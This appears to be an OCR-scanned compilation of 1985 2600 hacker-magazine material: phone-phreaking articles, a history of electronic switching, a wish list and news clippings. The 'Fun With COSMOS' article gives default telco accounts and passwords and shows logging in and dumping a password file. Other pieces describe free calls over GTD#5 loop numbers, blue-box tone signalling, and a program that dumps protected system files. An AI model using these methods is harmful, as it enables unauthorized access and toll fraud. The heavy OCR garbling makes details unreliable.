playing hell with the compiler. To use it simply try:

run (1 2yrpgdmp

It will ask you for a file name. then output device. You can
give it any file name on the system (like $acct.sys), and it will be
dumped to whatever output device you selected!!! (screen. lp:.
or disk)



here’s the secret!

by Silent Switchman

(Last month, we presented a story of a phone phreak. who
knew of various flaws in various phone systems but was unable
to share his knowledge with the company in question. He asked
to be paid a small consultant fee, but this was denied him. So.
we gave him a means of making this public.)

Check the location of the nearest GTD#5 switch made by
Automatic Electric. Itis usually installed by a general telephone
company of your local area. You will find that the loop
numbers do not supervise on either side. Numbers that do not
supervise {non-supe) do not charge for the connection; they are
[ree. This is different from toll-free service because the person
you call pays for that. Toll-free calls are treated more like a
collect call. In this case, the call is free like calls to some
telephone company test numbers.

Loop numbers are two or more numbers that connect when
each one is called at the same time.

This presents a means for two people anywhere in the
country to call each other for free, The GTD#5 switch is being
installed all over the country and this works in most of them,
including Canada and overseas. Right now. quite a few phreaks
in California, Hawaii, and Texas are using these toll-free loops.

I suggest that you call your local General Telephone
company and ask them the exchange of the local GTD#5. then
see if you can find the number of your local switchman and try
to find out the number to the standard loop. These have to be
dialed directly, because many extenders charge when
connecting to non-suped numbers, as do some alternate long
distance companies.



THE HISTORY OF ESS

by Lex Luthor

Of all the new 1960s wonders of telephone technology—
satellites, ultm-modermn Traffic Service Positions {(TSPS) for
operators, the picturephone, and so on—the one that gave Bell
Labs the most trouble, and unexpectedly became the greatest
development effort in Bell System’s history, was the perfection
of an electronic switching system, or ESS. ESS should be well
known to many a technical enthusiast. It is known as the big
brother of the phone system, capable of controlling almost all
aspects of any phone call and keeping track of calling patterns.
How ESS works and what it is capable of has been covered
previously in 2600 (February, 1984) and will be covered in
future issues.

It may be recalled that such a systern was the specific end in
view when the project that had culminated in the invention of
the transistor had been launched back in the 1930’s. After
successful accomplishment of that planned miracle in 194748,
further delays were brought about by financial stringency and
the need for further development of the transistor itself. In the
early 1950’s, a Labs team began serious work on electronic
switching. As early as 1955, Western Electric became involved
when five engineers from the Hawthorne works were assigned
to collaborate with the Labs on the project. The president of
ATE&ET in 1956, wrote confidently, “ At Bell Labs, development
of the new electronic switching system is poing full speed ahead.
We are sure this will lead to many improvements in service and
also to greater efficiency. The first service trial will start in
Meorris, lllinois in 1959." Shortly thereafter, Kappel said that
the cost of the whole project would probably be $45 million.

But it gradually became apparent that the development of a
commercially usable electronic switching system—in effect, a
computerized telephone exchange—presented vastly greater
technical problems than had been anticipated, and that,
accordingly, Bell Labs had vastly underestimated both the time
and the investment needed to do the job. The year 1959 passed
without the promised first trial at Morris, lllinois; it was finally
made in November 1960, and quickly showed how much more
work remained to be done. As time dragged on and costs
mounted, there was concern at AT&T and something
approaching panic at Bell Labs. But the project had to go
forward; by this time the investment was too great to be

sacrificed, and in any case, forward projections of increased
demand for telephone service indicated that within a few yearsa
time would come when, without the quantum leap in speed and
flexibility that electronic switching would provide, the national
network would be unable to meet the demand. In November
1963, an all-electronic switching system went into use at the
Brown Engineering Company at Cocoa Beach, Florida. But
this was a small installation, essentially another test
installation, serving only a single company. Kappel's tone on
the subject in the 1964 annual report was, for him, an almost
apologetic: “Electronic switching equipment must be
manufactured in volume to unprecedented standards of
reliability.... To turn out the equipment economically and with
good speed, mass production methods must be developed; but,
at the same time, there can be no loss of precision...."™ Another
year and millions of dollars later, on May 30, 1965, the first
commercial electric central office was put into service at
Succasunna, New Jersey.

Even at Succasunna, only 200 of the town's 4,300 subscribers
initially had the benefit of electronic switching’s added speed
and additional services, such as provision for three party
conversations and automatic transfer of incoming calls. But
after that, ESS was on its way. In January 1966, the second
commercial installation, this one serving 2,900 telephones,
went into service in Chase, Maryland. By the end of 1967 there
were additional ESS offices in California, Connecticut,
Minnesota, Georgia, New York, Florida, and Pennsylvania; by
the end of 1970 there were 120 offices serving 1.8 million
customers; and by 1974 there were 475 offices serving 5.6
million customers.

The difference between conventional switching and
electronic switching is the difference between “hardware™ and
“software™; in the former case, maintenance is done on the spot,
with screwdriver and pliers, while in the case of electronic
switching, it can be done remotely, by computer, from a central
point, making it possible to have only one or two technicians on
duty at a time at each switching center.

The development program, when the final figures were added
up, was found to have required a staggering four thousand
man-years of work at Bell Labs and to have cost not $45 million
but $500 million!



equal access may not be ‘“‘equal’’ to modems

by The Shadow

Now that AT&T is being divested of its local telephone
companies, phone customers across the nation have to choose
their long distance carrier as “equal access” is phased in.
Advertising campaigns emphasize such aspects as low ratesand
operator assistance, but almost no one mentions a factor that
will affect modem users who use auto dialers for long distance
calls. Not all of the alternate long distance carriers provide
called party answering supervision on all calls. Called party
answering supervision basically has the telephone company
start billing only when the called party answers the telephone.
However, many of the alternate long distance companies still
operate with the “fixed timeout™ basis for charging. That s, ifa
call is held for a fixed length of time (usually 30 seconds), the
charging starts, whether or not the call was answered.

This could cause modem owners large bills if they use
autodialers to make long distance calls. Modems are usually set
up to wait up to one minute when attempting to make a call,
and thus have to timeout through busy signals, long call setup
sequences, extender waits, and similar problems. This could
result in many billed but unanswered calls.

Some of the other carriers provide this on calls to some cities,
and others don't support it at all. Only AT&T provides called

party answering supervision on all calls to all points presently.
It’s almost impossible to get information on how a long
distance company charges its calls as they don't want to reveal
how their billing is handled.

The alternate carniers get called party supervision when the
destination location goes equal access. However, there has been
no quick action on the part of the alternate long distance
companies to make use of the supervision data as they would
have to get equipment for passing the information back to the
billing computer at the originating point. Thus, called party
answering supervision often ends up being ignored by these
carriers even when available.

The lower rates of alternate long distance companies must be
weighed against the timeout problem as it affects autodialing
modems. One way to circumvent this is merely to set your
modem to a shorter waiting-for-connect time, but this may not
provide enough time for the call to go through. You could also
claim credit for each and every one of the calls you get billed for
that doesn’t actually connect—but that can be very
time-consuming.

Keep in mind also that alternate phone companies with
primitive billing methods will often not detect short 20-second
phone calls....



The Early Phreak Days

by Jim Wood

When | decided to get married back in 1962, 1 traded my DJ
and broadcasting odd jobs for one at'the phone company;
employment which, at that time, was ultimately secure though
my take-home pay was about 3300 a month.

Assigned 1o the Palo Alto, California central office as a Toll
Transmissionman, my duties included maintenance of toll
traffic circuits and related short-haul N and ON cammer
equipment. Circuit testing was initiated ata black bakelite Type
17B Toll Testboard. A field of several hundred jacks gave
access to as many inter-office trunks, many to the San Jose 4A
and Oakland 4M 4-wire switching centers.

Though it was strictly forbidden, one could easily and safely
“deadhead” toll calls for one's self, family or friends from the
testboard. Around Christmastime our office could easily have
been confused with the Operator room on the floor below.

The 178 testboard had a 0-9, DTMF keypad arranged in two
rows of 5 buttons wired to the central office “multifreq™ supply.
A rack of vacuum tube L/C oscillators comprised the MF
supply and was buried somewhere in the bowels of the building.

Long days with too much (mostly union) staff and not
enough 1o do precipitated a lot of screwing around on the job.
Some of the guys would just daydream out the windows, others
would hassle and torment the Operators downstairs. One
favorite trick was to sneak into the access space behind the bank
of 3C switchboards and push the cords slowly up toward the
Operators. The screams and commotion caused by a tip, ring,

and sleeve “snake™ was worth the risk of getting chewed out by
the old battleaxe who ran the place. Myself, 1 just played with
the Bell System; never with any intent to defraud, merely to
increase my understanding of how the whole thing worked.

1t was during a singularly dull day that I hit on the idca of
“deadheading™ calls through one of the local subscriber loop
jacks which rang into the testboard. Sure enough, 1 could
rotary-dial through the step office to Sacramento (the shortest
hop on L carrier with inband signalling), “dump” the call in
Sacramento with a blast of 2600 from the 19c oscillator
mounted overhead, then multifreq out of Sacramento
anywhere | wanted to go. Wow! 1 could hardly wait to
demonstrate this potential source of lost revenues to my first-
line supervisor. Both he and his boss were mildly impressed, but
assigned minimal importance to the event since, in their words,
“no one has a multifreq supply at home.”™

Ma Bell invented the transistor but was among the last to put
it into service. One of the few places a transistor was used in our
office was in the alarm circuit of the ON carrier system. The
13H was a wretched little “top hat™ PNP with just enough beta
to work ina bridged-T oscillator configuration. A half-dozen of
these, some Olson Radio pushbuttons, and a handful of
resistors and caps made a dandy MF supply.

The next demonstration was from the Chief’s own desk and
did finally raise some concern. | was asked to“donate”™ the box
and told to keep my findings strictly to myself. I have done so
for more than 20 years now.



OUR WISHES FOR 86 AND BEYOND

Around this time of vear, we always get to thinking about
how the things around us can improve. So we assembled a few
of our writers and had them come up with some suggestions on
how technology can beuter serve everyone, We hope that these
ideas will someday be followed and we encourage our readers 1o
come up with additional ones, which we'll gladly print.

Uniform long distance rates. With the many advances in
modern communications, one end result is quite obvious. It
gotlen easier and cheaper to establish contact in all parts of the
country, and in most parts of the world. We want to secanend
to ripoff long distance rates that charge you more to call one
place when it really costs the company about the same to reach
anywhere. Why not have uniform rates to everywhere, whether
it be long distance or local? Technology is making the entire
world fit inte our backyard—how about granting us some
access to it? Many of us phone phreaks have come to look at
phone callsin a different way. When you can call anywhere you
want to, for as long as you want, without worrying about how
much it’s going to cost you, itall starts to take on new meaning.
You begin to realize how offensive it is 1o be charged for
something as basic as talking! Shouldn't we all be able to talk to
whoever we wani, whenever we want, and for as long as we
want? 1f it were possible (as it someday will be) to have an
unlimited amount of peaple using telephone equipment at the
same time without tying it up, wouldn't we be better off with
this philosophy? We believe so. The telecommunications giants
ean still profit handsomely without making communications a
luxury.

We're not simply after a free ride; we'd still pay something,
though not as much and not as often. We want to see advances
in technology shared by all and then perhaps we'll see some of
its real potential. Right now, there are many of us that can
afford to call The White House when we want to voice our
opinion on something. The ones that can afford it have no
problem. And that's the problem here.

The time for change has arrived. After all, how can we call it
long distance if it no longer is?

Elimination of charges for touch tones. How the phone
companies get away with this is beyond us. When we use touch
tones, their equipment works faster and more people areable to
make calls. In fact, it is better for their equipment if customers
use touch tones. If everybody used touch tones, these
companies’ profits would soar! Yet we are still charged a
monthly fee for using them. There isn't any extra equipment to
install. They're not giving you the tones—you're the one who
sends them out, In most crosshar and step (even a few ESS)
offices, you can use a touchtone phone with no problem even if
vou're registered as “pulse” with the phone company. The
moment you tell them you have a touch tone, you get charged.
Most ESS offices have a special device that disables your touch
tones unless you pay for them! The only thing your monthly fee
pays for is to turn off this device! We think it’s time this
nonsense was stopped. Shouldn’t we be encouraged to use
touch tones? Haven't they become almost a necessity, with the
growth of services that are touch tone activated, such as
reservation and voice messaging systems? This archaic policy
makes it a lot harder—particularly on those who aren't all that
wealthy—who are being denied a very basic piece of technology
for no earthly reason.

Legislation to protect bulletin boards. A lot more frequently
than many of us think, bulletin board systems are seized as
evidence of illegal activities. Our own bulletin board in New
Jersey was taken this past summer, and they still haven't found
anything “illegal™ on it. (A hearing scheduled for November 22
w 15 postponed two weeks by the prosecutors, who claim they
weren't told about it. The period for forfeiture has expired,
which'means they cannot keep the equipment as a penalty. The
hearing is to decide whether the bulletin board should be
returned immediately, since no evidence of wrongdoing has
been revealed.)

Bulletin boards must be protected! They are a vital means of
communication, a resource that can be used by more people
every day. Obviously, this freedom makes some authorities a
little nervous. But it’s something they're going to have to get
over because bulletin boards aren going away. Neither will
they be regulated or registered, as these nervous types demand.

If there is illegal activity occurring, then the people
responsible for it should be tracked down. This doesn’t mean
pulling the plug on the service that enables them to speak. We
have to make an effort to define the difference.

At the same time, we hope 1o see an improvement in the
quality of bulletin boards everywhere. Nothing is more boring
and useless than a board that lists credit card numbers and
Sprint codes. What is the point? They either go bad withina day
or are monitored closely. Boards that discuss how things are
done and answer the questions, simple or complex, that we all
have are the boards we're fighting for, Let’s see some more of
these.

Some reasonable prices on “public” services. Compuserve,
Source, Dow Jones, are you listening? s it any wonder you're
constantly being ripped off with the outrageous prices you
charge? A session on one of these services can be a nightmare, as
every second costs you, every mistake is money out the window.
Come on already, times have changed. Enough with the
surcharges and access fees—provide affordable services for
people or go join the dinosaurs.

Access to what is being said about us. One of the most
frustrating things is to have to pay to see what TRW is telling
people about you, Any wonder why people break in? Shouldn't
it be just as easy for us to see our credit record as it is for some
schmuek at Searg?

While we're on the subject, how far are we going Lo let these
people go with our credit history? Is it fair to be denied credit
because you paid a bill late four years ago? Or because you were
tried for a crime and the charges were dropped? Is it fair for
companics to analyze your buying tendencies and theorize as to
what type of person you are, and 1o use thar as a deciding
factor?

We feel it's only fair that we be shown, perhaps onan annual
basis, what is being said about us and given the opportunity to
correct any errors, or at least to question or explain them, We
shouldn have to pay a penny for this “privilege™.

An end to information charges. Again we're at a loss to
explain why the phone companies charge for something that
encourages using their service. If we have to pay sixty cents to
find out what someone's phone number is in another state. and
then pay for a phone call as well, we're sure as hell going to
think twice about making the call in the first place! While it’s
true that some people would use an alternate service to make
the eall, the losses to AT&T can't be that stupendous, We feel
that this is an unjustifiable charge, one that hurts everyone in
the end.

Our suggestions include: providing one call to information
{at least) for every long distance call dialed; providing free
phone books (originally, charges for information were to
cncourage people to use the phone books instead); alternate
information services for altcrnate carriers, i.e. a subscriber to
Skyline would have the advantage of free access 1o Skyline
information; or an online database where vou can find out as
many numbers or cross-references as you like viamodem. We'd
like to hear more suggestions and we hope they get to the right
people.

Nationwide access Tor all. If there are databases that are so
bigand extensive that anyone can check our credit history from
anywhere in the country, what is stopping us from using our
bank card in New York to withdraw money while we are in Los
Angeles? When will these systems be integrated so we can all
benefit from technology? There is already statewide connection
of auto teller banking, and some limited interstate use, but
when will a national network be set up?



Fun With COSMOS

by Lex Luthor and The Legion of Doom/Hackers

COSMOS (COmputerized Sysiem for Mainframe OperationS), the
“telephone company compuler”, is a wire center adminisiration system for
subscriber services. Put another way—an inter-office memo sender. [is primary
objectives are: I )10 relieve the problems of congestion and long cross connection
on the Main Distributing Frame (M FD); 2) to improve entity load balance and
customer line equipmeni disiribution across the Wire Centers' switching
equipment; and 3) to provide an accurate and readily accessible database for use
by all AT& Tdepariments. There is wsally one COSMOS system for every area
code.

You cannot enter someoncs name and getl their phone number through
COSMOS. What it's primarily used for is to assign central office equipment to
cable pairs and 1elephone numbers. It maintains records of all relevant facilitics
including subscriber cable and office equipment. process service and work
orders, and it produces bulk assignments for office additions and
rearrangements, In thor, it avtomates the frame in your ceniral office.

COSMOS prints lists at the beginning of each day, specifying what numbers
10 connect and disconnect.

Hacking Accounts

Most COSMOS systems run on either a PDP 1145 or 1170 made by DEC,
and can usually handle up to 9% terminals which are cither hard-wired, or
remotely dialed into the system. If you don't know your local COSMOS dial-up
or donl have an account, you can probably get one oul of your test board,
frame, ot switch. They all should have the dial-up, password, and Wire Center in
your area.

Typical COSMOS accounts are; MF02, PAS2, DPOE, ctc. Those 2 letter
prefixes in the beginning of the account stand for: PA—Loop Assignment
Center, DA—Network Admin Center, RS—Repair Service, MF—Frame and
Toll, FC—Frame Control Center, GA—General Inquiries, DC—Data
Conversion, NT—NTec, DP—DisPaich, C1—CIC.

The more important accounts which are used for service order entry are, in
order of importance: ROOT, SYS, BIN, PREOP, and COSMOS.

COSMOS is the account that the test board uses, and is now mainly found on
the oMer versions of the COSNIX operating system. Typical COSMOS
passwords are: WETEST, MILK48, RINGIT.

Some accounts don't have passwords, but this is rare. Sometimes all you need
is the dial-up to get in. Whoever was last on forgot to hit CTRL-Y to log off, and
just hung up, so when you call, you get the WO, sitting there!

Tramsaction Codes

Omce you log in you should get the prompt of WO% where WC is the Wire
Center and % indicates that the system is on-line. From Lhat prompt, You can
type certain commands that will enable you to do different things. The 1SH or
INQ commands (inquire about a circuit) will print out information about the
number you specify, From the prompt, type ISH or INQ, then a carriage returmn.
You will then have to type an H which means HUNT then TN which is the
Telephone Nurmber 935-2481 and the system will print an underscore. You then
type a period as illustrated {what you type is in bald).

W% ISH
H TN 935-1481
TN 935-2481
ST WK PD DATE 07-16-T8 TYPE B
**QRD F24030161451 DD 01-20-84 FDD 01-20-84
OE 003-601-403
ST WK PD DATE 07-1678 CS IFR US IFR FEA RNNL
*=ORD F24030161451 DD 01-20-84 FDD 01-20-84
LOC WCI0I4  LOC WI3-03L14/4-04
CP 451262
ST WK PD  DATE 1102482
*ORD F24030161451 DD 01-20-84 FDD 01-20-84
LOC WCIDI0  LOC WI0-06L01/3/12

HUNT SEQUENCE FOR TN 935-2481
TN 935-2482 TN 935-1484

*+ [SH COMPLETED 09-24-84
W%

Here is an explanation of what was printed out about the number 935-2481:
Line 1: TH 935-2481 —the Telephone number that you inquired about. Line 2:
ST WK PDDATE 07-16-78 TYPE B—5T mecans STatus, WK PD is the
Work PerioD, the date following is when the TN 935-2481 was first installed,
and TY PE (sometimes abbreviated as TT) is the Telephone number Type, where
B is a POTs (personal number) with hunting. Hunting means that when the
number 935-2481 is busy, the call will be forwarded automatically to the next

nurmber until it finds an idie line. The TT TYPE could be any one of the
following: B—POTs hunting; C--Coin; G—Complex services, e.g., Direct
Inward Dialing, Radio Common Carrier, eic.; O—Official (company); Q
Centrex, WATS, large PBX's; X—POTs non-hunting. Line 3:
ssORD F14030161451 DD 01-20-84 FDD 01-20-84—0OR [ stands for
service or work ORDer which has a maximum of 20 alphanumeric characters.
DD is the Due Date, and FDD is the Frame [ue Date, which | assume is the last
tirne the line was worked on. Line 4: OE 003-681-403—0FE stands for Operating
Exchange which in this case is a #1 ES5. By seeing what format the OE is, you can
tell what type of central office the number is served by. Line 5:
ST WK PD DATE 07-16-78 CS IFR US IFR FEA RNNL-—ST. WK,
PD were all explained in LINE 2, CS is the Customer Class of Service, [FR
stands for Flat Rate. US is the USOC (Uniform Service Order Code) which are
identification codes used on Service Orders and Equipment records o identify
items of service or equipment. Each code consists of 3 or 5 characters., each one
being cither a letter or a number, FEA RNNL stands for Customer FEAtures:
R=Rotary, N=Non-skeve, and L=Loop started. The typical type of line is Loop
started, a ground start is used on PBX's and such. Line 6 is a repeat of Line 3.
Line 7: LOC WC1014 LOC WIM03L14/4-04—LOC is the LOCation. Line §:
CP 451262—CP is the Cable Paird5-1262. Lines 311 have becn previously
explained, Line 12: HUNT SEQUENCE FOR TN 935-2431 TN 9352481 TN
935-2484—As explained carlier, when 935-2481 is busy, it will HUNT to 935-
2482. IM that is busy, it will go 1o 2483 and so on.

You can also inquire upon the Cable Pair, by:
W ISH
H CP 451162

The information printed will be similar to what was printed about the TN,
Paths, Files, and Directories
If you have a semi-privileged account, type LS /* 10 see what files you have
access 1o. You will probably see something similar ta:

1 BIN: {ETC: {USR:
CP COSNIX BIN
DATE INIT COSMOS
ECHO LINES PREOP
LCASE PASSWD S0
MOTD SYSGEN 5YS
STAT UIDS ™FP

To run a program| process just type the filename at the WO prompt. Il you
want 1o view a file in a directory—in this case we will use the ; BIN directory—
you would type:

W% CD /BIN

You first connect to the directory, then to print the file MOTD which stands
for Message Of The Day, type:
WO PR /MOTD

FRI1 APR. 10, 198411:37:16 MOTDPAGE |

ATTN: ALL USERS
MAKE SURE YOU LOG OUT PROPERLY
THANK YOU

Some files may have an*!"appended to the end of them on the older versions
of COSNIX. Those files should be text files and you should have no problem
PRinting them. Other files may be encrypied.

1f you do not know what directory a file you are looking for is in use the FIND
{file-name) command. As shown below, PERMIT is what we arc looking for:
WO FIND PERMIT
/DEV/PERMIT

¥ou can either connect 1o the | DEY directory then PRint the file or type:
WO PR /DEV/PERMIT

The most looked up file would probably be the PASSWD file.

WO CAT JETC/PASSWD

ROOT:YXMDIMME:D::;:
SYSYXORBMBX:1:/USR/SYS:
BIN:-TMMZAKZF:3::/BIN:
PREOP::&:/USR{PREOP:
COSMOS: LEORYVB4:39:: / USR/ TMP:/BIN; PERMIT
PADZZSKDMET 40/ USR/ TMP:/ BIN: PERMIT

99 times out of 100 the passwords will be encrypted. Notice that there are 2
colons after the PR EOP account. This means that there is no password. so alter
entering PREOP at the ;LOGIN: it will jump to WC? 1T a valid W is entered,
you will get in. The way COSMOS checks to see if the password is valid is: after
you enler your account, and password, the system encrypls the password you
just typed, and compares it to the encrypted password in the PASSWD file. If it -
is correct, you will be in—if not, INVALID LOGIN.



The 2600 Flash™ column continued to be a regular feature through 1985,
having started with the very first issue the previous year. (Unlike articles,
this column wasn’t a part of the “letter quality printer experiment” that last-
ed from April to August.) The collection of news stories from various sourc-
es (including ourselves) serves as a window into the world of hackers back
then, as technology, laws, and society all underwent tremendous change in
a relatively short period of time. Once again, there was a single story in the
year that was surrounded by a box and written in bold: the announcement
of our first official BBS in February. The column was shortened in August
due to a number of articles focusing on the seizure by authorities of our first
official BBS.



JANUARY 1985

IRS Wants Access to Telco Data

Juck Asderson

Paving for an unlisted telephone number may keep pests from
interrupting your dinner, but it won't keep the revenuers off your back
if the Internal Revenue Service has its way. The IRS is considering a
proposal to plug directly into the phone company’s computers to track
down delingquent taxpayers.

The tax collectors will soon begin negotiating a pilot phase of the
plan with Bell Atlantic, which covers all or parts of Pennsylvan i, New
Jersey, Delaware, Maryland, Virginia, and Washington, DC. The
scheme will allow the IRS to get information directly about the phone
numbers of taxpayers who do business with Bell Atlantic.

And not only listed numbers would be tumed over to the RS, but
closely guarded unlisted numbers as well. Eventually, the IRS hopes o
have direct access to the telephone company's computer banks, as well,

Critics point out that as things stand now, businesses and individuals
who are asked for confidential information have the right to challenge
such a demand, and make the IRS prove its case in court, Under the
computer plug-in plan, the telephone company would already have
given IRS access to its records—without consulting anyone. Such a
plan could end up reversing the burden of proof in tax cases, forcing
the taxpaver to prove that information gathered from a variety of
SOUTCES Was inaccurate.

Meanwhile, IRS is reportedly laying plans to supply computer data
on taxpayers to other government agencies.

GEISCO’s New Toys

SE Mg Bervee ML Adexander

Information differs from other commeaodities in that many peoplecan
possess it at the same time. If one person uses some, it is not
diminished. And it's difficult to prevent people from obtaining
information without paying for it. These thoughts were offered at a
press conference on December 6, held by General Electric Information
Services Co. (GEISCO) in Rockville, MD. At the same time, the
company announced a point-to-multipeint partnership with Bonneville
Telecommunications of Salt Lake City, Utah, The resulting service will
enable companies to communicate with subscribers, dealers, or clients
at a lower cosi than is now available via telephone, teletext, or mail.
The data goes out from an office to Bonneville over a telephone line.
Bonneville collects data 1o be distributed and transmits it via satellite to
FM radio stations around the country, which broadcast the data 1o
individual personal computers or printing terminals located within the
broadcast arca of cach radio station. The FM station rebroadcasts the
signalat 19.2 bits per sccond to a local office or client on the subcarrier
portion of the FM band. An error rate of 10 to the minus 6 power is
claimed by Bonneville,

Platt Global Alert, a service for people who buy tanker loads of oil,
gocs out over Bonneville's network. The customer transmits data to the
Bonneville Uplink host via a standard modem connection o the
terrestrial-based portion of the GE service called Mark*Net, a value
added data service.

GEISCO alse announced a deal with Gannett Co. Inc. which will
allow USA Today Update, a new electronic newsline, to be distributed
on the GEISCO worldwide teleprocessing network. The GEISCO
network has local telephone access in over 750 cities in 23 countries at
300 or 1200 baud.

GE has a knack for putting together successful parinerships. The
company gave Ronald Reagan a new start in 1954 when no one in
Hollywood would hire him to act. He was GE’s travelling salesman on
the virtues of free enterprise for several years,

GTE Hit by Divestiture

Assocated Press

The GTE Corporation has accepted a judge’s consent de¢ree that
requires the company to keep its long distance and local telephone
networks separate in return for the acquisition of what are now called

GTE Sprint and GTE Spacenet.

Judge Harold H. Greene of the United States District Court in
Washington then signed the decree, making it effective immediately.

GTE announced its intention to acquire the Southern Pacific
Communications Company and the Southern Pacific Satellite Com-
pany—now GTE Sprint and GTE Spacenet, respectively —in Cctober
1982, In order to complete the acquisition, the company agreed with
the Department of Justice in May 1983 to the entry of a consent decree.

The decree also requires GTE to provide equal access to other long
distance carriers in its local exchanges.

Fascist Computer Network

Denver Post

The leader of a white supremacist group whose former member isa
suspect in the slaying of a Jewish talk-show host says neo-Nazi groups
throughout the United States and Canada are linked by a network of
home computers.

Aryan Nations leader Richard Butler of Hayden Lake, Idaho, also
said members of his group can call up a computerized list containing
the names of Jews, alleged communists, and “race traitors,”

Mewwvarck

The Ku Klux Klan has set up an electronic bulletin board that
enables computer operators to hook into the latest in neo-Nazi thought
for a $5 fee.

The “Aryan Nation Liberty Net™ offers information like the
locations of communist party offices and ZOG (Zionist Occupational
Government) informers,

“It’s a tremendous tool in the awakening of the white Christian
people to the Jewish plot 1o destroy the white race and Christianity,”
said Glenn Miller, leader of the North Caralina Klan, which operates
one of several such bulletin boards.

A Challenge to Hackers

The Amcharage Daily Mews

Most businesses [ear computer hackers. An Albany, NY company
challenges them.

Elite Software Systems Inc. makes a software program called
Encomp that encrypts information stored on computer disks. The
$99 95 program makes the disk unreadable without the right password.
and Elite is offering $ 10,000 to anyone who can break its system usinga
personal computer,

The company has sent out 6,000 entry forms but has received only
three replies—all wrong, savs Philip Cohen, vice president of sales and
marketing. A systems analyst, he says, “called up to bust my chops™
and outlined a way to crack the code usinga million-dollar mainframe
computer. That doesn’t count, Cohen says; only personal computer
users need apply.

[We believe a number of our readers are worthy of this challenge. Go
ahead. Make us proud of you. Elite Software Systems can be reached
at 5184824162, Keep us posted.]

In Addition...

Combired Sews Souroes

# Although it had said it would try to avoid layofls as part of a
planned reduction of 11,000 jobs announced in August, AT&T is
furloughing at least 400 workers and more layoffs are expected. The
job cuts are part of the company's efforts to trim costs and stay
competitive after the government-mandated breakup of the Bell
System.

® The Democratic Mational Committee has moved to its new
headquarters on Capitol Hill. The Republican National Committes
also has headquarters near the Capitol. There may be some confusion
since the new D.N.C. telephone number is 2028638000, The R.N.C.
number is 2028638500,

* New York Telephone has announced that, under new rate
proposals, the discount for personal telephone service currently
available to members of the clergy would be discontinued.
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Phreak Roundups
Unized Press Inscrnational

Three teen-age computer experts face charges that they used their home
computers 1o cheat telephone companies out of hundreds of thousands of
dollars of service.

Officials of lllinois Bell Telephone Company, who have not finished adding
up their losses, speculate the youths began by tapping into long-distance lines of
local businesses, From there, they started using computers to bypass telephone
billing systems,

The youths also raided the American Telephone and Telegraph Company’s
teleconferencing network [watch leture issues for stories on this], permatting up
10 59 parties to communicate, as well as other long distance carriers.

The young computer experts, all 15 years old, face juvenile theft charges.
Court hearings are scheduled to begin next month,

Tosonzo Globe and Mail

Seven 5. Thomas teenagers have been arrested in Bell Canada's crackdown
on the hundreds of Ontario computer buffs who use an illegal softwear [sic]
program 1o place long-distance phone calls for free.

The teenagers, two of whom are juveniles, were charged last week with thelt of
telecommunications services, and possession of illegal equipment. Police raided
their homes and seized computers and softwear valued s 37,000 Unpaid phone
calls were placed to points as far away as Florida, police said. In Windsor,
Omtario, police charged four youths with telecommunications theft early in
January. In December, five University of Waterloo students received absalute
discharges after a judge found them guilty of the offense.

All of the charges were laid after complaints from Bell Canada, which is able
to detect and idemify telephone pirates with its own computer equipment. “We
want people to know that there are ways and means of finding out who's
circumventing the tolls,” said Superintendent William Lawson of the 5t
Thomas police,

The illegal softwear is a low-cost. high-technology version of the “blue boxes™
built by electronic hobbyists in the sixties fand deseribed in these pages]. “1ts
a relatively new phenomenon,” said James McPeak. a Bell Canada spokesman.
“These kids dont know what they're doing. They think it is fun to beat the phone
company.”

TRW Breached By Non-Hackers

Loag Tslend Newsday

The records of TRW Information Services, which says it holds credin data on
120 million Americans, have been invaded and compromised on a far-reaching
seale by adult criminals—not just a handful of teenage hackers—according to
law enforcement officuls,

On Long lsland alone, nearly 30,000 TRW reports were allegedly pitfered by
phone in 1982, a figure based ondiscrepancies in billings between TRW and two
banks, a consumer loan firm and two department stores, While three credit
collection agencies were separately suspected in the thefis, only one—said to be
responsible for the theft of 3,000 reports—will be prosecuted, law enforcenient
sounces sad.

The FBI is continuing the investigation, it has been learned., and indictments
are said to be imminent,

The collection agency is repored to have used its pilfered data to locate assets
of debiors it had been hired 10 investigate. “They [the collection agency
intruders] had a right to subseribe; they just chose t steal the service, ™ said TRW
spokeswoman Deliz Fernandez. A spokesman for one of the New York-based
department stores said his firm had received refunds of about $10.000 from
TRW because its password had been used by unauthorized individuals.

This Month’s Mischief and Mayhem

Los Angeles Tames

A series of phony University of Southern California degrees may have been
old for up to $25.000 each and backed by transcripts illegally placed in the
schoal’s computer system.

Thirty USC students are already under investigation for allegedly paying to
have unauthorized grade changes made on their transeripts. “Our investigation
has widened beyond grade changes,” USC Viee Provost Sylvia Manning said.
“We are now investigating the possibility that someone may have created entire
transcripds as well.”

Combised News Sources

Fans trying to eall ielevision star Tom Selleck to wish him a happy birthday
reached a Honolulu morgue instead after & Boston radio station announced the
wrong phone number.

The snafu started when disc jockeys of WROR-FM came up with the idea of

having their listeners call Selleck in Hawaii and congratulate him on his 40th
birthday. The [3]% called directory assistance for Selleck’s home phone number
but were apparently given the number for the Honolulu medical examiner’s
office. By Wednesday afternoon, the medical examiners office reponed
recetving more than 1000 calls.

“The office was out of control,” said Joyee Fujimole. morgue attendant.
“When people found out it wasthe medical examiners office, they thought Tom
Selleck had expired. All these hysterical girls kept calling... there were males,
o,

On Friday, Lorma Gzmen, WROR program director, read a statement on the
air apologizing for the confusion and saying listeners would be reimbursed for
any calls made 10 the Honolulu number on January 29,

Associasad Press

Because of a computer mix-up, the Middle Atlantic district office of the
Internal Revenue Service has lost the records of more than 5300 million in
payroll withholding tax payments made by about 10,000 companies last fall.

The businesses have been told by computer-generated notices from the LR.S,
that their property and bank accounts will be seized if they do not make the
payments within 10 days. The companies are gathering official records of bank
transfers to the government so they can convinee the LR.S. that they have
already paid,

An LR.S. spokesman said the agency was trying to reconcile its records
manually.

The Mew York Times

Plain brown envelopes fall of 5100 hills are turning up in residents” mailboxes
in central Florida, according 1o Federal agents. who say the maoney is
counterfeit.

“The bills are all being mailed out of Inglewood, California, ™ said Donald A.
Sichbins, of the Orlando office of the United States Secret Service, “They
contain no advertising literature, no note, no return address, nothing!™

2600 Bulletin Board Online

Db M ews Seervice

2600 Enterprises, Inc. now has an official computer bulletin board system
(BBS)operating 24 hours a day, 7 days a week. Operating out of New Jersey, the
board is called The Private Sector. Hobbyists from all over the country use the
system to converse on telecommunications topics. Now, subscribers and non-
subscribers will be able to send articles, letters, or questions to 2600 instantly.

The system supports 300 and 1200 baud. At present, the maximum length per
article sent to 2600 is 100 lines, At command level, users can type 26007 to enter
this section, The access number is 2013664431,

According to 2600 co-founder Richard Petrovich, the bulletin board is part of
asteady expansion. “We recently acquired 5167512600 a5 the 2600 Hotline. Now
